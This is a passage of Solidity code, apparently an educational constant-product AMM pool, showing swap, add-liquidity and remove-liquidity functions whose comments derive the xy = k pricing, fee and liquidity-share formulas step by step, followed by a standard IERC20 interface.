\_tokenIn == address(token0) || \_tokenIn == address(token1),

"invalid token"

);

bool isToken0 = \_tokenIn == address(token0);

(IERC20 tokenIn, IERC20 tokenOut, uint reserveIn, uint reserveOut) = isToken0

? (token0, token1, reserve0, reserve1)

: (token1, token0, reserve1, reserve0);

tokenIn.transferFrom(msg.sender, address(this), \_amountIn);

uint amountIn = tokenIn.balanceOf(address(this)) - reserveIn;

*/\**

*How much dy for dx?*

*xy = k*

*(x + dx)(y - dy) = k*

*y - dy = k / (x + dx)*

*y - k / (x + dx) = dy*

*y - xy / (x + dx) = dy*

*(yx + ydx - xy) / (x + dx) = dy*

*ydx / (x + dx) = dy*

*\*/*

*// 0.3% fee*

uint amountInWithFee = (amountIn \* 997) / 1000;

amountOut = (reserveOut \* amountInWithFee) / (reserveIn + amountInWithFee);

(uint res0, uint res1) = isToken0

? (reserveIn + amountIn, reserveOut - amountOut)

: (reserveOut - amountOut, reserveIn + amountIn);

\_update(res0, res1);

tokenOut.transfer(msg.sender, amountOut);

}

function addLiquidity(uint \_amount0, uint \_amount1) external returns (uint shares) {

token0.transferFrom(msg.sender, address(this), \_amount0);

token1.transferFrom(msg.sender, address(this), \_amount1);

uint bal0 = token0.balanceOf(address(this));

uint bal1 = token1.balanceOf(address(this));

uint d0 = bal0 - reserve0;

uint d1 = bal1 - reserve1;

*/\**

*How much dx, dy to add?*

*xy = k*

*(x + dx)(y + dy) = k'*

*No price change, before and after adding liquidity*

*x / y = (x + dx) / (y + dy)*

*x(y + dy) = y(x + dx)*

*x \* dy = y \* dx*

*x / y = dx / dy*

*dy = y / x \* dx*

*\*/*

if (reserve0 > 0 || reserve1 > 0) {

require(reserve0 \* d1 == reserve1 \* d0, "x / y != dx / dy");

}

*/\**

*How much shares to mint?*

*f(x, y) = value of liquidity*

*We will define f(x, y) = sqrt(xy)*

*L0 = f(x, y)*

*L1 = f(x + dx, y + dy)*

*T = total shares*

*s = shares to mint*

*Total shares should increase proportional to increase in liquidity*

*L1 / L0 = (T + s) / T*

*L1 \* T = L0 \* (T + s)*

*(L1 - L0) \* T / L0 = s*

*\*/*

*/\**

*Claim*

*(L1 - L0) / L0 = dx / x = dy / y*

*Proof*

*--- Equation 1 ---*

*(L1 - L0) / L0 = (sqrt((x + dx)(y + dy)) - sqrt(xy)) / sqrt(xy)*

*dx / dy = x / y so replace dy = dx \* y / x*

*--- Equation 2 ---*

*Equation 1 = (sqrt(xy + 2ydx + dx^2 \* y / x) - sqrt(xy)) / sqrt(xy)*

*Multiply by sqrt(x) / sqrt(x)*

*Equation 2 = (sqrt(x^2y + 2xydx + dx^2 \* y) - sqrt(x^2y)) / sqrt(x^2y)*

*= (sqrt(y)(sqrt(x^2 + 2xdx + dx^2) - sqrt(x^2)) / (sqrt(y)sqrt(x^2))*

*sqrt(y) on top and bottom cancels out*

*--- Equation 3 ---*

*Equation 2 = (sqrt(x^2 + 2xdx + dx^2) - sqrt(x^2)) / (sqrt(x^2)*

*= (sqrt((x + dx)^2) - sqrt(x^2)) / sqrt(x^2)*

*= ((x + dx) - x) / x*

*= dx / x*

*Since dx / dy = x / y,*

*dx / x = dy / y*

*Finally*

*(L1 - L0) / L0 = dx / x = dy / y*

*\*/*

if (totalSupply > 0) {

shares = \_min((d0 \* totalSupply) / reserve0, (d1 \* totalSupply) / reserve1);

} else {

shares = \_sqrt(d0 \* d1);

}

require(shares > 0, "shares = 0");

\_mint(msg.sender, shares);

\_update(bal0, bal1);

}

function removeLiquidity(uint \_shares)

external

returns (uint amount0, uint amount1)

{

*/\**

*Claim*

*dx, dy = amount of liquidity to remove*

*dx = s / T \* x*

*dy = s / T \* y*

*Proof*

*Let's find dx, dy such that*

*v / L = s / T*

*where*

*v = f(dx, dy) = sqrt(dxdy)*

*L = total liquidity = sqrt(xy)*

*s = shares*

*T = total supply*

*--- Equation 1 ---*

*v = s / T \* L*

*sqrt(dxdy) = s / T \* sqrt(xy)*

*Amount of liquidity to remove must not change price so*

*dx / dy = x / y*

*replace dy = dx \* y / x*

*sqrt(dxdy) = sqrt(dx \* dx \* y / x) = dx \* sqrt(y / x)*

*Divide both sides of Equation 1 with sqrt(y / x)*

*dx = s / T \* sqrt(xy) / sqrt(y / x)*

*= s / T \* sqrt(x^2) = s / T \* x*

*Likewise*

*dy = s / T \* y*

*\*/*

amount0 = (\_shares \* reserve0) / totalSupply;

amount1 = (\_shares \* reserve1) / totalSupply;

\_burn(msg.sender, \_shares);

\_update(reserve0 - amount0, reserve1 - amount1);

if (amount0 > 0) {

token0.transfer(msg.sender, amount0);

}

if (amount1 > 0) {

token1.transfer(msg.sender, amount1);

}

}

function \_sqrt(uint y) private pure returns (uint z) {

if (y > 3) {

z = y;

uint x = y / 2 + 1;

while (x < z) {

z = x;

x = (y / x + x) / 2;

}

} else if (y != 0) {

z = 1;

}

}

function \_min(uint x, uint y) private pure returns (uint) {

return x <= y ? x : y;

}

}

interface IERC20 {

function totalSupply() external view returns (uint);

function balanceOf(address account) external view returns (uint);

function transfer(address recipient, uint amount) external returns (bool);

function allowance(address owner, address spender) external view returns (uint);

function approve(address spender, uint amount) external returns (bool);

function transferFrom(

address sender,

address recipient,

uint amount

) external returns (bool);

event Transfer(address indexed from, address indexed to, uint amount);

event Approval(address indexed owner, address indexed spender, uint amount);

}

